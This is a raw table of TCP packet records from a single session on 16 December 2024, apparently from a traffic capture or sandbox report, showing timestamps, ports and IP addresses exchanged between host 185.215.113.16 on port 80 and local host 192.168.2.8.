Dec 16, 2024 13:16:38.518354893 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.518394947 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.519701004 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.519756079 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.519792080 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.519856930 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.521217108 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.521276951 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.521307945 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.521353006 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.522605896 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.522661924 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.522804022 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.522846937 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.524286985 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.524346113 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.524416924 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.524462938 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.525571108 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.525630951 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.525662899 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.525702953 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.526978016 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.527031898 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.527065039 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.527103901 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.528497934 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.528551102 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.528608084 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.528649092 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.529906034 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.529958963 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.530024052 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.530069113 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.531362057 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.531413078 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.531467915 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.531511068 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.532845020 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.532902002 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.532934904 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.532973051 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.534284115 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.534342051 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.534399986 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.534441948 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.535739899 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.535794973 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.535832882 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.535872936 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.537244081 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.537302971 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.537339926 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.537380934 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.538723946 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.538773060 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.538827896 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.538877010 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.540119886 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.540169001 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.540227890 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.540268898 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.541665077 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.541676998 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.541712999 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.541729927 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.543107986 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.543159962 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.543183088 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.543226004 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.544508934 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.544560909 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.544611931 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.544665098 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.545942068 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.545996904 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.546034098 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.546077967 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.547415972 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.547476053 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.547585011 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.547630072 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.549005032 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.549057007 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.549118996 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.549159050 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.550465107 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.550529957 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.550564051 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.550611019 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.551846027 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.551903009 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.551919937 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.551973104 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.553262949 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.553322077 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.553455114 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.553504944 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.554729939 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.554785967 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.554806948 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.554847956 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.556345940 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.556405067 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.556440115 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.556492090 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.557833910 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.557890892 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.557912111 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.557955980 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.559068918 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.559129953 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.559266090 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.559319019 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.560730934 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.560790062 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.560905933 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.560951948 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.562056065 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.562118053 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.562189102 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.562236071 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.563441992 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.563498020 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.563666105 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.563716888 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.564928055 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.564995050 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.683649063 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.683734894 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.683767080 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.683818102 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.684267044 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.684305906 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.684340000 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.684382915 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.685619116 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.685671091 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.685674906 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.685713053 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.686784029 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.686836958 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.686877012 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.686918974 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.687999010 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.688056946 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.688113928 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.688157082 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.689259052 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.689311981 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.689337969 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.689378023 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.690462112 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.690517902 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.690610886 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.690653086 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.691726923 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.691781044 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.691788912 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.691829920 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.692948103 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.693011999 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.693048954 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.693090916 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.694149971 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.694202900 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.694291115 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.694331884 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.695365906 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.695416927 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.695481062 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.695523024 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.696616888 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.696667910 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.696788073 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.696829081 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.697858095 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.697906017 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.697912931 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.697942019 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.699089050 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.699141026 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.699311018 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.699362993 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.700287104 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.700330973 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.700409889 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.700449944 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.701510906 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.701560020 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.701622009 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.701663017 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.702759981 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.702816010 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.702850103 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.702889919 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.704027891 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.704080105 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.704166889 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.704205036 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.705694914 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.705754042 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.705912113 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.705956936 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.707386017 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.707447052 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.707535982 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.707585096 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.708491087 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.708544970 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.708575964 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.708614111 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.709675074 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.709722996 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.709794044 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.709839106 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.710767984 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.710789919 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.710839987 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.710928917 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.711479902 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.711524963 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.711555958 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.711600065 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.712589025 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.712630987 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.712663889 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.712711096 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.713816881 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.713880062 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.713885069 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.713927031 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.715014935 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.715075970 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.715158939 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.715203047 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.716279984 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.716330051 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.716389894 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.716434956 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.717500925 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.717560053 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.717592955 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.717642069 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.718753099 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.718807936 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.718871117 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.718915939 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.720120907 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.720192909 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.720315933 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.720370054 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.721189976 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.721242905 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.721287966 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.721335888 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.722507000 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.722578049 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.722702026 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.722860098 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.723634005 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.723684072 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.723763943 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.723809958 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.724883080 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.724936962 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.725075006 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.725126982 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.726109028 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.726175070 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.726233006 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.726280928 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.727356911 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.727416039 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.727446079 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.727498055 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.728586912 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.728631020 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.728709936 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.728765965 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.729831934 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.729882002 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.730048895 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.730092049 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.731082916 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.731142998 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.731172085 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.731188059 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.732278109 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.732338905 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.732428074 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.732472897 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.733508110 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.733556986 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.733685970 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.733730078 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.734852076 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.734927893 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.734981060 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.735044956 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.736097097 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.736140966 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.736166954 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.736202955 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.737198114 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.737246037 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.737282038 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.737328053 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.738415956 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.738470078 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.738511086 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.738554001 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.739682913 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.739733934 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.739790916 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.739836931 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.740875959 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.740984917 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.741017103 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.741053104 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.742204905 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.742255926 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.742347002 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.742391109 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.743362904 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.743412018 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.743447065 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.743494987 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.744554996 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.744621038 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.744657040 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.744703054 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.745800018 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.745855093 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.745908976 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.745954990 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.747019053 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.747109890 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:38.747148037 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:38.747220993 CET	49770	80	192.168.2.8	185.215.113.16
